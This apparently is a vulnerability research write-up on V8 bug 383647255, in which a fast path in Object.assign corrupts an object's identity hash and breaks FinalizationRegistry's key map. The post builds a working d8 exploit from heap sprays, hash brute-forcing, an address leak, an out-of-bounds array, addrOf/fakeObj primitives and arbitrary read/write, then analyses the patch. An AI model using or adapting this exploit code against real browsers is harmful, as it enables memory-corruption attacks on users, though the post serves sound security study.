Introduction
Bug 383647255 was reported to the Chromium bug tracker on December 12, 2024.
In this article, we will look at the root cause of this vulnerability and walk through how it can be exploited to achieve arbitrary read/write access in V8, the JavaScript engine used by Chrome and other Chromium-based browsers.
Objects and Hashes
When a JavaScript object requires a hash (for example, to be used as a key in a WeakMap) V8 generates a random hash using the GenerateIdentityHash
function. This hash is stored in the object's raw_properties_or_hash
field:
Tagged<Smi> JSReceiver::CreateIdentityHash(Isolate* isolate,
Tagged<JSReceiver> key) {
int hash = isolate->GenerateIdentityHash(PropertyArray::HashField::kMax);
key->SetIdentityHash(hash);
return Smi::FromInt(hash);
}
int Isolate::GenerateIdentityHash(uint32_t mask) {
int hash;
int attempts = 0;
do {
hash = random_number_generator()->NextInt() & mask;
} while (hash == 0 && attempts++ < 30);
return hash != 0 ? hash : 1;
}
void JSReceiver::SetIdentityHash(int hash) {
Tagged<HeapObject> existing_properties =
Cast<HeapObject>(raw_properties_or_hash());
Tagged<Object> new_properties =
SetHashAndUpdateProperties(existing_properties, hash);
set_raw_properties_or_hash(new_properties, kRelaxedStore);
}
A hash is typically generated when the object is first used in a context that needs it, like being used as a key in a WeakMap
:
let obj = {};
%DebugPrint(obj);
// - elements: 0x0354000007bd <FixedArray[0]> [HOLEY_ELEMENTS]
// - properties: 0x0354000007bd <FixedArray[0]>
let weakMap = new WeakMap();
weakMap.set(obj, 'test');
%DebugPrint(obj);
// - elements: 0x0354000007bd <FixedArray[0]> [HOLEY_ELEMENTS]
// - hash: 199759
// - properties:
Once the hash is assigned to an object, it remains fixed: it will never be regenerated or updated. This persistent identity is critical for ensuring that the object can reliably act as a key in future operations.
print(weakMap.has(obj)); // true
The Bug
If you call Object.assign(target, src)
twice using the same src
and the same target
, it can unexpectedly overwrite the internal identity hash of the src object:
let obj = {};
let weakMap = new WeakMap();
weakMap.set(obj, 'test');
% DebugPrint(obj); // hash: 199759
print(weakMap.has(obj)); // returns true
Object.assign(obj, {}); // Runtime_ObjectAssignTryFastcase
Object.assign(obj, {}); // FastCloneJSObject
% DebugPrint(obj); // properties: 0x0c0c000007bd <FixedArray[0]>
print(weakMap.has(obj)); // returns false
On the first call, Object.assign
triggers the Runtime_ObjectAssignTryFastCase
runtime function. Internally, this sets up a side transition in the target object (target
), modifying its internal structure:
// src/builtins/builtins-object-gen.cc
// ES #sec-object.assign
TF_BUILTIN(ObjectAssign, ObjectBuiltinsAssembler) {
//...
// First check if we have a transition array.
TNode<MaybeObject> maybe_transitions = LoadMaybeWeakObjectField(
from_map, Map::kTransitionsOrPrototypeInfoOffset);
TNode<HeapObject> maybe_transitions2 =
GetHeapObjectIfStrong(maybe_transitions, &runtime_map_lookup);
GotoIfNot(IsTransitionArrayMap(LoadMap(maybe_transitions2)),
&runtime_map_lookup);
TNode<WeakFixedArray> transitions = CAST(maybe_transitions2);
TNode<Object> side_step_transitions = CAST(LoadWeakFixedArrayElement(
transitions,
IntPtrConstant(TransitionArray::kSideStepTransitionsIndex)));
GotoIf(TaggedIsSmi(side_step_transitions), &runtime_map_lookup);
//...
// Jump there because no transition array is available
BIND(&runtime_map_lookup);
TNode<HeapObject> maybe_clone_map =
CAST(CallRuntime(Runtime::kObjectAssignTryFastcase, context, from, to)); // Runtime_ObjectAssignTryFastcase
GotoIf(TaggedEqual(maybe_clone_map, UndefinedConstant()), &slow_path);
GotoIf(TaggedEqual(maybe_clone_map, TrueConstant()), &done_fast_path); // Jump over fast path
}
Due to this new structure, the second Object.assign
call can take a fast path, bypassing the slower runtime fallback. It invokes FastCloneJSObject
, which incorrectly overwrites the raw_properties_or_hash
field. Instead of preserving the existing identity hash, it replaces it with the address of the property array:
// src/builtins/builtins-object-gen.cc
// ES #sec-object.assign
TF_BUILTIN(ObjectAssign, ObjectBuiltinsAssembler) {
//...
FastCloneJSObject(
from, from_map, clone_map.value(), /* materialize_target = */
[&](TNode<Map> map, TNode<Union<FixedArray, PropertyArray>> properties,
TNode<FixedArray> elements) {
StoreMap(to, clone_map.value());
StoreJSReceiverPropertiesOrHash(to, properties); // Overwrite hash with var_properties
StoreJSObjectElements(CAST(to), elements);
return to;
},
false);
//...
}
// src/codegen/code-stub-assembler-inl.h
TNode<Object> CodeStubAssembler::FastCloneJSObject(
TNode<HeapObject> object, TNode<Map> source_map, TNode<Map> target_map,
const Function& materialize_target, bool target_is_new) {
//...
TNode<PropertyArray> property_array = AllocatePropertyArray(length);
FillPropertyArrayWithUndefined(property_array, IntPtrConstant(0), length);
CopyPropertyArrayValues(source_property_array, property_array, length,
SKIP_WRITE_BARRIER, DestroySource::kNo);
var_properties = property_array;
//...
TNode<JSReceiver> target = materialize_target(
target_map, var_properties.value(), var_elements.value());
//...
}
As a result, the object's identity hash is effectively lost. This is unexpected behavior because V8 (and some JavaScript APIs, like WeakMap
) assume that once an identity hash is set, it will remain stable for the lifetime of the object.
Turning an Invalid Hash into a Vulnerability
WeakMap
is not the only API that relies on an object’s identity hash: FinalizationRegistry does too.
When an object registered with a FinalizationRegistry
is garbage collected, the associated callback is eventually triggered:
let target = {};
let unregister_token = {};
let registry = new FinalizationRegistry(() => {
print("Callback called");
});
registry.register(target, undefined, unregister_token);
target = null;
Array.from({ length: 50000 }, () => () => { }); // stress the memory
gc({ type: "major" });
The part that interests us is the unregister_token
parameter. When you register an object with a FinalizationRegistry
, V8 assigns a hash to the unregister_token
(if it doesn't already have one). This hash is stored internally so V8 can later look it up during garbage collection.
%DebugPrint(unregister_token); // hash: 453078
So what happens if we corrupt the object’s hash before garbage collection?
Let's try:
let target = {};
let unregister_token = {};
let registry = new FinalizationRegistry(() => {
print("Callback called");
});
registry.register(target, undefined, unregister_token);
Object.assign(unregister_token, {});
Object.assign(unregister_token, {});
target = null;
gc({ type: "major" });
Even though nothing appears to happen visibly, you’ve now corrupted the internal key_map
that backs the FinalizationRegistry
. If you register a second time the same token, you may crash the process:
let target = {};
let unregister_token = {};
let registry = new FinalizationRegistry(() => {
print("Callback called");
});
registry.register(target, undefined, unregister_token);
registry.register(target, undefined, unregister_token);
Object.assign(unregister_token, {});
Object.assign(unregister_token, {});
target = null;
gc({ type: "major" });
When the garbage collector runs, it eventually calls RemoveCellFromUnregisterTokenMap
, which tries to remove the entry for the now-collected object using the unregister_token
:
void JSFinalizationRegistry::RemoveCellFromUnregisterTokenMap(
Isolate* isolate, Tagged<WeakCell> weak_cell) {
Tagged<Undefined> undefined = ReadOnlyRoots(isolate).undefined_value();
if (IsUndefined(weak_cell->key_list_prev(), isolate)) {
Tagged<SimpleNumberDictionary> key_map =
Cast<SimpleNumberDictionary>(this->key_map());
Tagged<HeapObject> unregister_token = weak_cell->unregister_token();
uint32_t key = Smi::ToInt(Object::GetHash(unregister_token));
InternalIndex entry =
key_map->FindEntry(isolate, key); // returns kNotFound = -1
DCHECK(entry.is_found());
if (IsUndefined(weak_cell->key_list_next(), isolate)) {
key_map->ClearEntry(entry);
key_map->ElementRemoved();
}
//...
}
//...
}
Because the identity hash of unregister_token
was overwritten with something unrelated (like a pointer to a property array), Object::GetHash()
returns a value that does not correspond to any existing entry in key_map
. Consequently, FindEntry()
returns -1.
Now here’s the critical part: V8 assumes the hash is stable and valid, so it doesn’t check for incorrect indices. This leads to ClearEntry(-1)
being called:
void Dictionary<Derived, Shape>::ClearEntry(InternalIndex entry) {
Tagged<Object> the_hole = GetReadOnlyRoots().the_hole_value();
PropertyDetails details = PropertyDetails::Empty();
Cast<Derived>(this)->SetEntry(entry, the_hole, the_hole, details);
}
This ends up writing the special marker THE_HOLE
(typically 0x3ec) to an invalid position, corrupting metadata such as the number of deleted entries and the map’s internal capacity.
static const int kNumberOfElementsIndex = 0;
static const int kNumberOfDeletedElementsIndex = 1;
static const int kCapacityIndex = 2;
static const int kPrefixStartIndex = 3;
Exploitation
First Primitive: Reclaiming Corrupted Capacity
At this stage, we have successfully corrupted the internal JSFinalizationRegistry::key_map
, causing it to believe it has a larger capacity than it actually does.
The goal now is to reclaim and control that extra (fake) capacity by carefully placing our own data structures in memory directly adjacent to the corrupted map. Specifically, we want to allocate a fake hash map contiguously in memory to overlap with the overgrown key_map
:
// Store a hash in unreg_token
p.registry = new FinalizationRegistry(gcTriggered);
p.registry.register(target, undefined, unreg_token);
// Spray our fake hashmap after JSFinalizationRegistry::key_map
p.spray = [];
for (let i = 0; i < 1000; i++) {
p.spray.push(uint64ToFloat((BigInt(0x11) << 1n) | (0x11n << 32n)));
}
We start with the key/value pairs in the corrupted key_map
all initialized to undefined
(0x11 in V8's tagged representation). This effectively mimics an empty hash map in memory.
However, to do anything useful with register()
and unregister()
on this malformed map, we need to interact with entries via their hash keys. The challenge is that these hashes are randomly generated by V8 (using GenerateIdentityHash
), so we don’t know any of them in advance.
But here’s the trick: we do not need to guess the exact hash, we can simply brute-force it.
Bruteforcing a Valid Hash
Our goal here is to recover a valid hash that was assigned to an unreg_token
during a call to registry.register()
. Since we cannot directly access the hash (it is stored internally in V8), we will brute-force it.
First, we generate a large number of objects (e.g. 1000) with the expectation that each will be assigned a different identity hash. Collisions may occur, but that’s fine for our purposes:
// Generate 1000 empty object with hashes
let reg = new FinalizationRegistry(() => { });
let tokens_with_hash = [];
for (let i = 0; i < 1000; i++) {
tokens_with_hash.push({});
reg.register(tokens_with_hash[i], undefined, tokens_with_hash[i]);
}
Each object in tokens_with_hash
now has a unique (or mostly unique) hash. When we call unregister()
with a given token, V8 will internally try to find the associated entry in the hash map using Object::GetHash(token)
. If it finds a match, it replaces the key with THE_HOLE
:
bool JSFinalizationRegistry::RemoveUnregisterToken(/*...*/) {
//...
key_map->ClearEntry(entry);
//...
}
void Dictionary<Derived, Shape>::ClearEntry(InternalIndex entry) {
Tagged<Object> the_hole = GetReadOnlyRoots().the_hole_value();
PropertyDetails details = PropertyDetails::Empty();
Cast<Derived>(this)->SetEntry(entry, the_hole, the_hole, details);
}
So we try each token by calling unregister()
until one of them modifies our corrupted memory. That is how we detect a hash match:
/** Returns true if the p.spray has been overwritten */
function sprayIsCorrupted(hash) {
for (let i = 0; i < p.spray.length; i++) {
const expected_value = uint64ToFloat((BigInt(hash) << 1n) | (0x11n << 32n))
if (p.spray[i] != expected_value) {
return true;
}
}
return false;
}
let valid_hash = -1;
for (let hash = 1; hash < 0x10000; hash++) {
for (let i = 0; i < p.spray.length; i++) {
p.spray[i] = uint64ToFloat((BigInt(hash) << 1n) | (0x11n << 32n));
}
for (let i = 0; i < tokens_with_hash.length; i++) {
p.registry.unregister(tokens_with_hash[i]);
}
const corrupted = sprayIsCorrupted(hash);
if (corrupted) {
print(`Found the hash 0x${hash.toString(16)}!`);
valid_hash = hash;
break;
}
}
If our sprayed object is corrupted after one of these calls, it means the hash from that token was successfully matched and used, which confirms it's a valid hash for our corrupted key_map
.
Now we just need to identify which token it was. One option would be to run sprayIsCorrupted()
after every unregister()
call, but that is expensive. Instead, it is more efficient to split the brute-force into two steps:
- First, find out that a valid hash exists (as above).
- Then, check which object was affected:
// Search which object have this hash
// Unregister each token with the same hash until we corrupt p.spray
let valid_token_index = -1;
for (let token_index = 0; token_index < tokens_with_hash.length; token_index++) {
for (let i = 0; i < p.spray.length; i++) {
p.spray[i] = uint64ToFloat((BigInt(valid_hash) << 1n) | (0x11n << 32n));
}
p.registry.unregister(tokens_with_hash[token_index]);
const corrupted = sprayIsCorrupted(valid_hash);
if (corrupted) {
print(`The object at index ${token_index} has the hash 0x${valid_hash.toString(16)}`);
valid_token_index = token_index;
break;
}
}
And voilà — we now have a known, valid hash tied to a specific object:
p.token_hash = valid_hash;
p.token = tokens_with_hash[valid_token_index];
Arbitrary Write with Uncontrolled Value
When you call register()
on a FinalizationRegistry, V8 internally invokes RegisterWeakCellWithUnregisterToken()
:
// src/objects/js-weak-refs-inl.h
void JSFinalizationRegistry::RegisterWeakCellWithUnregisterToken(/*...*/) {
//...
uint32_t key =
Object::GetOrCreateHash(weak_cell->unregister_token(), isolate).value();
InternalIndex entry = key_map->FindEntry(isolate, key);
if (entry.is_found()) {
Tagged<Object> value = key_map->ValueAt(entry);
Tagged<WeakCell> existing_weak_cell = Cast<WeakCell>(value);
existing_weak_cell->set_key_list_prev(*weak_cell);
weak_cell->set_key_list_next(existing_weak_cell);
}
//...
}
// src/objects/js-weak-refs.tq
extern class WeakCell extends HeapObject {
finalization_registry: Undefined|JSFinalizationRegistry;
target: Undefined|JSReceiver|Symbol;
unregister_token: Undefined|JSReceiver|Symbol;
holdings: JSAny;
prev: Undefined|WeakCell;
next: Undefined|WeakCell;
key_list_prev: Undefined|WeakCell;
key_list_next: Undefined|WeakCell;
}
Because we know the hash and the exact unregister_token
object it is tied to, we can make sure that entry.is_found()
is true during registration. This allows us to hit the code path that writes a pointer into the existing WeakCell
.
Here is the trick: we can fully control the address of existing_weak_cell
, which V8 sees as the value associated with our forged entry. However, we do not control the value that gets written. That value is a newly allocated WeakCell
, a real, valid V8 object.
for (let i = 0; i < p.spray.length; i++) {
p.spray[i] = uint64ToFloat((BigInt(p.token_hash) << 1n) | (BigInt(addr) << 32n));
}
p.registry.register({}, undefined, p.token);
As a result, when register()
is called, V8 will perform a write at:
existing_weak_cell + offsetof(key_list_prev)
This gives us a write-what-where primitive, though we only control the where, not the what. The written value is always a valid WeakCell
pointer (i.e., a V8 heap object), which is useful but still limited.
Leaking an address and getting an out-of-bounds read-write
For this section, I have not found an elegant method to achieve an address leak. However, we can leverage the heap sandbox environment to our advantage. Due to the sandbox architecture, all addresses are represented as DWORD offsets relative to the sandbox base address.
Through my testing, I consistently observed that huge array allocations end up at similar offsets:
// Spray something useful to corrupt
p.spray2 = [];
for (let i = 0; i < 10000; i++) {
p.spray2.push(uint64ToFloat(0x4040404040404040n));
}
This predictable behavior allows us to bruteforce the target address:
/** Try to find the spray2 address */
function findSpray2Addr() {
// let spray2_addr = 0x14b000;
let spray2_addr = 0x18b000; // GDB
let first_offset_changed = -1;
let spray64 = new BigUint64Array(p.spray.length);
let spray8 = new Uint8Array(spray64.buffer);
// % DebugPrint(p.spray2);
for (spray2_addr; spray2_addr < 0x200000; spray2_addr += 0x1000) {
// Set a valid pointer at spray2_addr
for (let i = 0; i < p.spray.length; i++) {
p.spray[i] = uint64ToFloat((BigInt(p.token_hash) << 1n) | (BigInt(spray2_addr) << 32n));
}
p.registry.register({}, undefined, p.token);
// Create a spray2's memory view
for (let i = 0; i < p.spray2.length; i++) {
spray64[i] = floatToUint64(p.spray2[i]);
}
// Look for the overwritten value
first_offset_changed = -1;
for (let i = 0; i < spray8.length; i++) {
if (spray8[i] != 0x40) {
first_offset_changed = i;
break;
}
}
if (first_offset_changed != -1) {
break;
}
}
if (first_offset_changed == -1) {
print("Failed to overwrite spray2");
return false;
}
// Now we can calculate the real spray2 address
p.spray2_addr = spray2_addr - first_offset_changed + 3;
print(`spray2_addr = 0x${p.spray2_addr.toString(16)}`);
return true;
}
This is the only component of the exploit that lacks perfect stability. The reliability could be improved through more sophisticated heap manipulation techniques or by finding alternative address disclosure primitives. Enhancing this aspect is left as an exercise for interested readers.
With our newly obtained address leak, we can now corrupt the spray2
array's element size field:
function getSpray2Oob() {
spray2_length_addr = p.spray2_addr + 0x14;
print(`spray2_length_addr = 0x${spray2_length_addr.toString(16)}`);
// Try to set the elements.length to a new value. It doesn't update the array.length!
for (let i = 0; i < p.spray.length; i++) {
p.spray[i] = uint64ToFloat((BigInt(p.token_hash) << 1n) | (BigInt(spray2_length_addr - 6 * 4 - 2) << 32n));
}
p.registry.register({}, undefined, p.token);
// Update the length from 10000 to 0x20000
p.spray2.length = 0x20000;
print(`spray2.length = 0x${p.spray2.length.toString(16)}`);
// Check if we can OOB read
for (let i = 10100; i < 10400; i++) {
if (p.spray2[i] !== undefined) {
return true;
}
}
return false;
}
This manipulation transforms our controlled array into a powerful out-of-bounds read-write primitive, setting the stage for the next exploitation step.
Arbitrary Read-Write
At this point, we already have a powerful out-of-bounds read/write capability thanks to our PACKED_DOUBLE_ELEMENTS
spray2
array. Now we will implement the addrOf()
and fakeObj()
primitives.
First, let's spray a third array, this time using PACKED_ELEMENTS
:
// An object which will be used for arbitrary read-write
p.spray3 = [{}];
for (let i = 0; i < 100; i++) {
p.spray3.push(13.37 + 0.1 * i);
}
Next, we need to locate its position relative to our spray2
array:
function locateSpray3() {
// We have an OOB with spray2. Locate spray3.
// Dump the memory
let spray64 = new BigUint64Array(p.spray2.length);
for (let i = 0; i < 10400; i++) {
spray64[i] = floatToUint64(p.spray2[i]);
}
p.spray3[0] = 1337.42;
let index_changed = -1;
for (let i = 0; i < 10400; i++) {
if (spray64[i] != floatToUint64(p.spray2[i])) {
index_changed = i;
break;
}
}
if (index_changed == -1) {
return false;
}
p.spray3_index = index_changed;
print(`spray3_index = 0x${p.spray3_index}`);
return true;
}
This puts us in the classic exploitation scenario where a PACKED_DOUBLE_ELEMENTS
array can control the contents of a PACKED_ELEMENTS
array:
function buildAddrofFakeobj() {
p.addrOf = (obj) => {
p.spray3[0] = obj;
return Number(floatToUint64(p.spray2[p.spray3_index]) >> 32n) - 1;
};
p.fakeObj = (addr) => {
p.spray2[p.spray3_index] = uint64ToFloat(BigInt(addr) << 32n);
return p.spray3[0];
};
print("addrOf() and fakeObj() ready");
return true;
}
Typically at this stage, most exploits transition to WebAssembly for reliable code arbitrary read-write. However, since I wanted to remain within the d8
environment, I constructed a fake object instead:
function buildArbitraryRw() {
// We will now use the spray2 (because we know its address) to make a fake obj
const fakeobj_addr = p.spray2_addr + 0x100 + 1;
const fakeobj_index = 29;
print(`fakeobj_addr = 0x${fakeobj_addr.toString(16)}`);
// Create a helper to set WORD values
function fakeObjSet(uint32_index, uint32_value) {
let uint64_index = fakeobj_index + Math.trunc(uint32_index / 2);
let uint64_value = floatToUint64(p.spray2[uint64_index]);
if (uint32_index & 1) {
uint64_value = (uint64_value & 0xFFFFFFFFn) | (BigInt(uint32_value) << 32n);
} else {
uint64_value = (uint64_value & 0xFFFFFFFF00000000n) | BigInt(uint32_value);
}
p.spray2[uint64_index] = uint64ToFloat(uint64_value);
}
fakeObjSet(0, 0x0004cee5n); // Map[16](PACKED_DOUBLE_ELEMENTS)
fakeObjSet(1, 0x000007bdn); // properties
fakeObjSet(2, 0x00000001n); // elements
fakeObjSet(3, 0xf0000000n); // length << 1
// Build the arbitrary read-write
p.arbObj = p.fakeObj(fakeobj_addr);
// % DebugPrint(p.arbObj);
p.arbRead = (addr) => {
return floatToUint64(p.arbObj[Math.trunc(addr / 8) - 1]);
}
p.arbWrite = (addr, value) => {
p.arbObj[Math.trunc(addr / 8) - 1] = uint64ToFloat(BigInt(value));
}
return true;
}
Creating a PACKED_DOUBLE_ELEMENTS
array with a size of 0x78000000
and starting at sandbox offset 0 provides sufficient coverage for most use cases. Let's perform a quick test to verify our new primitives work correctly:
let spray_addr = p.addrOf(p.spray);
print(`spray_addr = 0x${spray_addr.toString(16)}`);
for (let i = 0; i < p.spray.length; i++) {
p.spray[i] = 0;
}
print("Call arbWrite(spray_addr + 0x100, 0xdeadbeefcafecafen)");
p.arbWrite(spray_addr + 0x100, 0xdeadbeefcafecafen);
let value_read = p.arbRead(spray_addr + 0x100);
print(`arbRead(spray_addr + 0x100) = 0x${value_read.toString(16)}`);
for (let i = 0; i < 100; i++) {
const value = floatToUint64(p.spray[i]);
if (value != 0) {
print(`spray[${i}] = ${value.toString(16)}`)
}
}
The output demonstrates successful arbitrary read-write:
$ out/x64.release/d8 --allow-natives-syntax --expose-gc poc.js
Found the hash 0xaac!
The object at index 962 has the hash 0xaac
spray2_addr = 0x14b1f0
spray2_length_addr = 0x14b204
spray2.length = 0x20000
spray3_index = 0x10167
addrOf() and fakeObj() ready
fakeobj_addr = 0x14b2f1
spray_addr = 0x1488c0
Call arbWrite(spray_addr + 0x100, 0xdeadbeefcafecafen)
arbRead(spray_addr + 0x100) = 0xdeadbeefcafecafe
spray[29] = deadbeefcafecafe
Patch Analysis
The patch introduces an important validation check to prevent the vulnerability. Specifically, it adds a verification to ensure that a hash is not already present in the properties before proceeding with the fast path:
// src/builtins/builtins-object-gen.cc
// ES #sec-object.assign
TF_BUILTIN(ObjectAssign, ObjectBuiltinsAssembler) {
//...
// Ensure the properties field is not used to store a hash.
TNode<Object> properties = LoadJSReceiverPropertiesOrHash(to);
GotoIf(TaggedIsSmi(properties), &slow_path);
Label continue_fast_path(this), runtime_map_lookup(this, Label::kDeferred);
//...
}
Additionally, in RemoveCellFromUnregisterTokenMap
, the DCHECK(entry.is_found())
assertion has been changed to a release-mode CHECK
. Even if an attacker manages to remove a hash through some means, the ClearEntry(-1)
operation will no longer occur due to the improved validation
Conclusion
You can find the full exploit here.
This analysis demonstrates how even subtle bugs in V8's complex optimization pipeline can lead to exploitable scenarios. What initially appears as a minor bounds-checking oversight in the JavaScript engine's array handling can cascade into a powerful primitive for memory corruption, which then enables attackers to achieve arbitrary read/write capabilities within the renderer process.
The next step would be developing a heap sandbox bypass to gain unrestricted read/write access across the entire renderer process memory space. However, such research would require a dedicated blogpost to properly explore the various bypass techniques and their implementation details.
If you're passionate about tackling the most challenging problems in browser security—from V8 internals to sandbox escapes—and want to work alongside researchers who share your dedication to technical excellence, consider exploring opportunities with our team at Bugscale.
Enjoyed this article? Share it with your network!